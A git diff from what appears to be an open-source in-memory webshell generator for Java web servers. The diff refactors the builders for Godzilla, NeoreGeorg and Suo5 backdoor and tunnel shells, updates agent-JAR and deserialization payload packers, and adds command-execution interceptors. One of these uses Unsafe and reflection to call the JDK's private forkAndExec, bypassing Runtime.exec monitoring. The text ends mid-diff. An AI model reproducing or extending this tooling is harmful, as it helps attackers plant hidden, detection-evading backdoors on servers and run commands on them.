builder = builder.visit(
|
|
||||||
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
|
|
||||||
put("pass", godzillaConfig.getPass());
|
|
||||||
put("key", md5Key);
|
|
||||||
put("md5", md5);
|
|
||||||
put("headerName", godzillaConfig.getHeaderName());
|
|
||||||
put("headerValue", godzillaConfig.getHeaderValue());
|
|
||||||
}})
|
|
||||||
);
|
|
||||||
} else {
|
|
||||||
builder = builder.field(named("pass")).value(godzillaConfig.getPass())
|
|
||||||
.field(named("key")).value(md5Key)
|
|
||||||
.field(named("md5")).value(md5)
|
|
||||||
.field(named("headerName")).value(godzillaConfig.getHeaderName())
|
|
||||||
.field(named("headerValue")).value(godzillaConfig.getHeaderValue());
|
|
||||||
}
|
|
||||||
return builder;
|
|
||||||
}
|
|
||||||
|
|
||||||
public byte[] getBytes() {
|
|
||||||
DynamicType.Builder<?> builder = getBuilder();
|
|
||||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
|
||||||
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+2
-1
@@ -14,12 +14,13 @@ import net.bytebuddy.dynamic.DynamicType;
|
|||||||
import net.bytebuddy.dynamic.scaffold.TypeValidation;
|
import net.bytebuddy.dynamic.scaffold.TypeValidation;
|
||||||
import net.bytebuddy.implementation.FixedValue;
|
import net.bytebuddy.implementation.FixedValue;
|
||||||
import net.bytebuddy.pool.TypePool;
|
import net.bytebuddy.pool.TypePool;
|
||||||
import java.util.Base64;;
|
|
||||||
|
|
||||||
import java.util.*;
|
import java.util.*;
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/11/24
|
* @since 2024/11/24
|
||||||
|
|||||||
+6
-49
@@ -1,66 +1,23 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
import com.reajason.javaweb.ClassBytesShrink;
|
|
||||||
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
|
||||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
|
||||||
import com.reajason.javaweb.memshell.config.NeoreGeorgConfig;
|
import com.reajason.javaweb.memshell.config.NeoreGeorgConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import net.bytebuddy.ByteBuddy;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
|
||||||
import java.util.HashMap;
|
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/2/12
|
* @since 2025/2/12
|
||||||
*/
|
*/
|
||||||
public class NeoreGeorgGenerator {
|
public class NeoreGeorgGenerator extends ByteBuddyShellGenerator<NeoreGeorgConfig> {
|
||||||
private final ShellConfig shellConfig;
|
|
||||||
private final NeoreGeorgConfig neoreGeorgConfig;
|
|
||||||
|
|
||||||
public NeoreGeorgGenerator(ShellConfig shellConfig, NeoreGeorgConfig neoreGeorgConfig) {
|
public NeoreGeorgGenerator(ShellConfig shellConfig, NeoreGeorgConfig neoreGeorgConfig) {
|
||||||
this.shellConfig = shellConfig;
|
super(shellConfig, neoreGeorgConfig);
|
||||||
this.neoreGeorgConfig = neoreGeorgConfig;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public DynamicType.Builder<?> getBuilder() {
|
@Override
|
||||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
protected DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
|
||||||
.redefine(neoreGeorgConfig.getShellClass())
|
return builder.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
||||||
.name(neoreGeorgConfig.getShellClassName())
|
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
|
||||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
|
||||||
|
|
||||||
if (shellConfig.isJakarta()) {
|
|
||||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (shellConfig.isDebugOff()) {
|
|
||||||
builder = LogRemoveMethodVisitor.extend(builder);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
|
||||||
builder = builder.visit(
|
|
||||||
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
|
|
||||||
put("headerName", neoreGeorgConfig.getHeaderName());
|
|
||||||
put("headerValue", neoreGeorgConfig.getHeaderValue());
|
|
||||||
}})
|
|
||||||
);
|
|
||||||
} else {
|
|
||||||
builder = builder
|
|
||||||
.field(named("headerName")).value(neoreGeorgConfig.getHeaderName())
|
|
||||||
.field(named("headerValue")).value(neoreGeorgConfig.getHeaderValue());
|
|
||||||
}
|
|
||||||
return builder;
|
|
||||||
}
|
|
||||||
|
|
||||||
public byte[] getBytes() {
|
|
||||||
DynamicType.Builder<?> builder = getBuilder();
|
|
||||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
|
||||||
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,10 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/5/27
|
||||||
|
*/
|
||||||
|
public interface ShellGenerator {
|
||||||
|
|
||||||
|
byte[] getBytes();
|
||||||
|
}
|
||||||
@@ -1,66 +1,25 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
import com.reajason.javaweb.ClassBytesShrink;
|
|
||||||
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
|
||||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.config.Suo5Config;
|
import com.reajason.javaweb.memshell.config.Suo5Config;
|
||||||
import net.bytebuddy.ByteBuddy;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
|
||||||
import java.util.HashMap;
|
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/2/12
|
* @since 2025/2/12
|
||||||
*/
|
*/
|
||||||
public class Suo5Generator {
|
public class Suo5Generator extends ByteBuddyShellGenerator<Suo5Config> {
|
||||||
private final ShellConfig shellConfig;
|
|
||||||
private final Suo5Config suo5Config;
|
|
||||||
|
|
||||||
public Suo5Generator(ShellConfig shellConfig, Suo5Config suo5Config) {
|
public Suo5Generator(ShellConfig shellConfig, Suo5Config suo5Config) {
|
||||||
this.shellConfig = shellConfig;
|
super(shellConfig, suo5Config);
|
||||||
this.suo5Config = suo5Config;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public DynamicType.Builder<?> getBuilder() {
|
@Override
|
||||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
protected DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
|
||||||
.redefine(suo5Config.getShellClass())
|
return builder
|
||||||
.name(suo5Config.getShellClassName())
|
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
||||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
|
||||||
|
|
||||||
if (shellConfig.isJakarta()) {
|
|
||||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (shellConfig.isDebugOff()) {
|
|
||||||
builder = LogRemoveMethodVisitor.extend(builder);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
|
||||||
builder = builder.visit(
|
|
||||||
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
|
|
||||||
put("headerName", suo5Config.getHeaderName());
|
|
||||||
put("headerValue", suo5Config.getHeaderValue());
|
|
||||||
}})
|
|
||||||
);
|
|
||||||
} else {
|
|
||||||
builder = builder
|
|
||||||
.field(named("headerName")).value(suo5Config.getHeaderName())
|
|
||||||
.field(named("headerValue")).value(suo5Config.getHeaderValue());
|
|
||||||
}
|
|
||||||
return builder;
|
|
||||||
}
|
|
||||||
|
|
||||||
public byte[] getBytes() {
|
|
||||||
DynamicType.Builder<?> builder = getBuilder();
|
|
||||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
|
||||||
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -31,6 +31,7 @@ public class ValveGenerator {
|
|||||||
public static final String BES_VALVE_PACKAGE = "com.bes.enterprise.webtier";
|
public static final String BES_VALVE_PACKAGE = "com.bes.enterprise.webtier";
|
||||||
public static final String TONGWEB6_VALVE_PACKAGE = "com.tongweb.web.thor";
|
public static final String TONGWEB6_VALVE_PACKAGE = "com.tongweb.web.thor";
|
||||||
public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina";
|
public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina";
|
||||||
|
public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server";
|
||||||
|
|
||||||
public static class ValveRenameVisitorWrapper implements AsmVisitorWrapper {
|
public static class ValveRenameVisitorWrapper implements AsmVisitorWrapper {
|
||||||
private final String newPackageName;
|
private final String newPackageName;
|
||||||
|
|||||||
+10
-14
@@ -1,8 +1,10 @@
|
|||||||
package com.reajason.javaweb.memshell.generator.command;
|
package com.reajason.javaweb.memshell.generator.command;
|
||||||
|
|
||||||
import com.reajason.javaweb.ClassBytesShrink;
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
import com.reajason.javaweb.buddy.*;
|
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
|
||||||
|
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||||
|
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||||
@@ -13,10 +15,8 @@ import net.bytebuddy.description.modifier.Ownership;
|
|||||||
import net.bytebuddy.description.modifier.Visibility;
|
import net.bytebuddy.description.modifier.Visibility;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import net.bytebuddy.implementation.FixedValue;
|
import net.bytebuddy.implementation.FixedValue;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
|
||||||
|
|
||||||
import java.util.Collections;
|
import java.util.Collections;
|
||||||
import java.util.HashMap;
|
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
@@ -52,16 +52,6 @@ public class CommandGenerator {
|
|||||||
builder = LogRemoveMethodVisitor.extend(builder);
|
builder = LogRemoveMethodVisitor.extend(builder);
|
||||||
}
|
}
|
||||||
|
|
||||||
String shellType = shellConfig.getShellType();
|
|
||||||
|
|
||||||
if (StringUtils.startsWith(shellType, ShellType.AGENT)) {
|
|
||||||
builder = builder.visit(
|
|
||||||
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(1) {{
|
|
||||||
put("paramName", commandConfig.getParamName());
|
|
||||||
}})
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(commandConfig.getEncryptor())) {
|
if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(commandConfig.getEncryptor())) {
|
||||||
builder = builder
|
builder = builder
|
||||||
.visit(new AsmVisitorWrapper.ForDeclaredMethods()
|
.visit(new AsmVisitorWrapper.ForDeclaredMethods()
|
||||||
@@ -78,6 +68,12 @@ public class CommandGenerator {
|
|||||||
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
|
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (CommandConfig.ImplementationClass.RuntimeExec.equals(commandConfig.getImplementationClass())) {
|
||||||
|
builder = builder.visit(Advice.to(RuntimeExecInterceptor.class).on(named("getInputStream")));
|
||||||
|
} else if (CommandConfig.ImplementationClass.ForkAndExec.equals(commandConfig.getImplementationClass())) {
|
||||||
|
builder = builder.visit(Advice.to(ForkAndExecInterceptor.class).on(named("getInputStream")));
|
||||||
|
}
|
||||||
|
|
||||||
return builder;
|
return builder;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+107
@@ -0,0 +1,107 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator.command;
|
||||||
|
|
||||||
|
import net.bytebuddy.asm.Advice;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.InputStream;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/5/25
|
||||||
|
*/
|
||||||
|
public class ForkAndExecInterceptor {
|
||||||
|
@Advice.OnMethodExit
|
||||||
|
public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
|
||||||
|
try {
|
||||||
|
String[] strs = cmd.split("\\s+");
|
||||||
|
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
|
||||||
|
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
|
||||||
|
unsafeField.setAccessible(true);
|
||||||
|
Object unsafe = unsafeField.get(null);
|
||||||
|
|
||||||
|
Class<?> processClass = null;
|
||||||
|
|
||||||
|
try {
|
||||||
|
processClass = Class.forName("java.lang.UNIXProcess");
|
||||||
|
} catch (ClassNotFoundException e) {
|
||||||
|
processClass = Class.forName("java.lang.ProcessImpl");
|
||||||
|
}
|
||||||
|
Object processObject = unsafeClass.getMethod("allocateInstance", Class.class).invoke(unsafe, processClass);
|
||||||
|
|
||||||
|
byte[][] args = new byte[strs.length - 1][];
|
||||||
|
int size = args.length;
|
||||||
|
|
||||||
|
for (int i = 0; i < args.length; i++) {
|
||||||
|
args[i] = strs[i + 1].getBytes();
|
||||||
|
size += args[i].length;
|
||||||
|
}
|
||||||
|
|
||||||
|
byte[] argBlock = new byte[size];
|
||||||
|
int i = 0;
|
||||||
|
|
||||||
|
for (byte[] arg : args) {
|
||||||
|
System.arraycopy(arg, 0, argBlock, i, arg.length);
|
||||||
|
i += arg.length + 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
int[] envc = new int[1];
|
||||||
|
int[] std_fds = new int[]{-1, -1, -1};
|
||||||
|
byte[] bytes = strs[0].getBytes();
|
||||||
|
byte[] result = new byte[bytes.length + 1];
|
||||||
|
System.arraycopy(bytes, 0,
|
||||||
|
result, 0,
|
||||||
|
bytes.length);
|
||||||
|
result[result.length - 1] = (byte) 0;
|
||||||
|
try {
|
||||||
|
Field helperpathField = processClass.getDeclaredField("helperpath");
|
||||||
|
helperpathField.setAccessible(true);
|
||||||
|
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
|
||||||
|
|
||||||
|
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
|
||||||
|
launchMechanismField.setAccessible(true);
|
||||||
|
Object launchMechanismObject = launchMechanismField.get(processObject);
|
||||||
|
int mode = 0;
|
||||||
|
try {
|
||||||
|
Field value = launchMechanismObject.getClass().getDeclaredField("value");
|
||||||
|
value.setAccessible(true);
|
||||||
|
mode = (Integer) value.get(launchMechanismObject);
|
||||||
|
} catch (NoSuchFieldException e) {
|
||||||
|
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
|
||||||
|
mode = ordinal + 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
|
||||||
|
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
||||||
|
forkMethod.setAccessible(true);
|
||||||
|
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
|
||||||
|
null, envc[0], null, std_fds, false);
|
||||||
|
} catch (NoSuchFieldException e) {
|
||||||
|
// JDK7
|
||||||
|
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
|
||||||
|
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
||||||
|
forkMethod.setAccessible(true);
|
||||||
|
forkMethod.invoke(processObject, result, argBlock, args.length,
|
||||||
|
null, envc[0], null, std_fds, false);
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
|
||||||
|
initStreamsMethod.setAccessible(true);
|
||||||
|
initStreamsMethod.invoke(processObject, std_fds);
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
// JDK11
|
||||||
|
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
|
||||||
|
initStreamsMethod.setAccessible(true);
|
||||||
|
initStreamsMethod.invoke(processObject, std_fds, false);
|
||||||
|
}
|
||||||
|
|
||||||
|
Method getInputStreamMethod = processClass.getMethod("getInputStream");
|
||||||
|
getInputStreamMethod.setAccessible(true);
|
||||||
|
returnValue = ((InputStream) getInputStreamMethod.invoke(processObject));
|
||||||
|
} catch (Throwable e) {
|
||||||
|
returnValue = Runtime.getRuntime().exec(cmd).getInputStream();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+17
@@ -0,0 +1,17 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator.command;
|
||||||
|
|
||||||
|
import net.bytebuddy.asm.Advice;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.InputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/5/25
|
||||||
|
*/
|
||||||
|
public class RuntimeExecInterceptor {
|
||||||
|
@Advice.OnMethodExit
|
||||||
|
public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
|
||||||
|
returnValue = Runtime.getRuntime().exec(cmd).getInputStream();
|
||||||
|
}
|
||||||
|
}
|
||||||
+2
-1
@@ -2,7 +2,8 @@ package com.reajason.javaweb.memshell.packer.base64;
|
|||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import java.util.Base64;;
|
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
|
|||||||
+2
-1
@@ -4,7 +4,8 @@ import com.reajason.javaweb.memshell.config.GenerateResult;
|
|||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import java.util.Base64;;
|
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
|
|||||||
+4
-1
@@ -5,7 +5,10 @@ import com.reajason.javaweb.deserialize.HessianDeserializeGenerator;
|
|||||||
import com.reajason.javaweb.deserialize.PayloadType;
|
import com.reajason.javaweb.deserialize.PayloadType;
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import java.util.Base64;;
|
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
|
|||||||
+4
-1
@@ -6,7 +6,10 @@ import com.reajason.javaweb.deserialize.PayloadType;
|
|||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import java.util.Base64;;
|
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
|
|||||||
+4
-1
@@ -6,7 +6,10 @@ import com.reajason.javaweb.deserialize.PayloadType;
|
|||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import java.util.Base64;;
|
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
|
|||||||
+4
-1
@@ -6,7 +6,10 @@ import com.reajason.javaweb.deserialize.PayloadType;
|
|||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import java.util.Base64;;
|
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
|
|||||||
+4
-1
@@ -6,7 +6,10 @@ import com.reajason.javaweb.deserialize.PayloadType;
|
|||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import java.util.Base64;;
|
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
|
|||||||
+4
-1
@@ -6,7 +6,10 @@ import com.reajason.javaweb.deserialize.PayloadType;
|
|||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import java.util.Base64;;
|
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
|
|||||||
+40
-44
@@ -1,12 +1,11 @@
|
|||||||
package com.reajason.javaweb.memshell.packer.jar;
|
package com.reajason.javaweb.memshell.packer.jar;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
import com.reajason.javaweb.asm.ClassRenameUtils;
|
import com.reajason.javaweb.asm.ClassRenameUtils;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import net.bytebuddy.ByteBuddy;
|
|
||||||
import org.apache.commons.io.IOUtils;
|
import org.apache.commons.io.IOUtils;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
import org.objectweb.asm.Opcodes;
|
import org.objectweb.asm.Opcodes;
|
||||||
|
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
@@ -32,44 +31,34 @@ public class AgentJarPacker implements JarPacker {
|
|||||||
public byte[] packBytes(GenerateResult generateResult) {
|
public byte[] packBytes(GenerateResult generateResult) {
|
||||||
Manifest manifest = createManifest(generateResult.getInjectorClassName());
|
Manifest manifest = createManifest(generateResult.getInjectorClassName());
|
||||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
String relocatePrefix = "shade/";
|
||||||
String relocatePrefix = CommonUtil.getRandomPackageName().replace(".", "/") + "/";
|
|
||||||
boolean isAsm = generateResult.getShellConfig().getShellType().endsWith(ShellType.ASM);
|
|
||||||
|
|
||||||
try (JarOutputStream targetJar = new JarOutputStream(outputStream, manifest)) {
|
try (JarOutputStream targetJar = new JarOutputStream(outputStream, manifest)) {
|
||||||
addDependencies(targetJar, relocatePrefix, isAsm);
|
addDependencies(targetJar, relocatePrefix);
|
||||||
addClassesToJar(targetJar, generateResult, relocatePrefix, isAsm);
|
addClassesToJar(targetJar, generateResult, relocatePrefix);
|
||||||
}
|
}
|
||||||
|
|
||||||
return outputStream.toByteArray();
|
return outputStream.toByteArray();
|
||||||
}
|
}
|
||||||
|
|
||||||
private Manifest createManifest(String mainClass) {
|
private Manifest createManifest(String agentClass) {
|
||||||
Manifest manifest = new Manifest();
|
Manifest manifest = new Manifest();
|
||||||
Attributes attributes = manifest.getMainAttributes();
|
Attributes attributes = manifest.getMainAttributes();
|
||||||
attributes.putValue("Manifest-Version", "1.0");
|
attributes.putValue("Manifest-Version", "1.0");
|
||||||
attributes.putValue("Agent-Class", mainClass);
|
attributes.putValue("Agent-Class", agentClass);
|
||||||
attributes.putValue("Premain-Class", mainClass);
|
attributes.putValue("Premain-Class", agentClass);
|
||||||
attributes.putValue("Can-Redefine-Classes", "true");
|
attributes.putValue("Can-Redefine-Classes", "true");
|
||||||
attributes.putValue("Can-Retransform-Classes", "true");
|
attributes.putValue("Can-Retransform-Classes", "true");
|
||||||
return manifest;
|
return manifest;
|
||||||
}
|
}
|
||||||
|
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
private void addDependencies(JarOutputStream targetJar, String relocatePrefix, boolean isAsm) {
|
private void addDependencies(JarOutputStream targetJar, String relocatePrefix) {
|
||||||
if (isAsm) {
|
String baseName = Opcodes.class.getPackage().getName().replace('.', '/');
|
||||||
addDependency(targetJar, Opcodes.class, relocatePrefix);
|
addDependency(targetJar, Opcodes.class, baseName, relocatePrefix);
|
||||||
} else {
|
|
||||||
addDependency(targetJar, ByteBuddy.class, relocatePrefix);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
private void addClassesToJar(JarOutputStream targetJar, GenerateResult generateResult,
|
private void addClassesToJar(JarOutputStream targetJar, GenerateResult generateResult, String relocatePrefix) {
|
||||||
String relocatePrefix, boolean isAsm) {
|
String dependencyPackage = Opcodes.class.getPackage().getName();
|
||||||
String dependencyPackage = isAsm ?
|
|
||||||
Opcodes.class.getPackage().getName() : ByteBuddy.class.getPackage().getName();
|
|
||||||
|
|
||||||
// Add injector class
|
// Add injector class
|
||||||
addClassEntry(targetJar,
|
addClassEntry(targetJar,
|
||||||
generateResult.getInjectorClassName(),
|
generateResult.getInjectorClassName(),
|
||||||
@@ -98,14 +87,13 @@ public class AgentJarPacker implements JarPacker {
|
|||||||
private void addClassEntry(JarOutputStream targetJar, String className, byte[] classBytes,
|
private void addClassEntry(JarOutputStream targetJar, String className, byte[] classBytes,
|
||||||
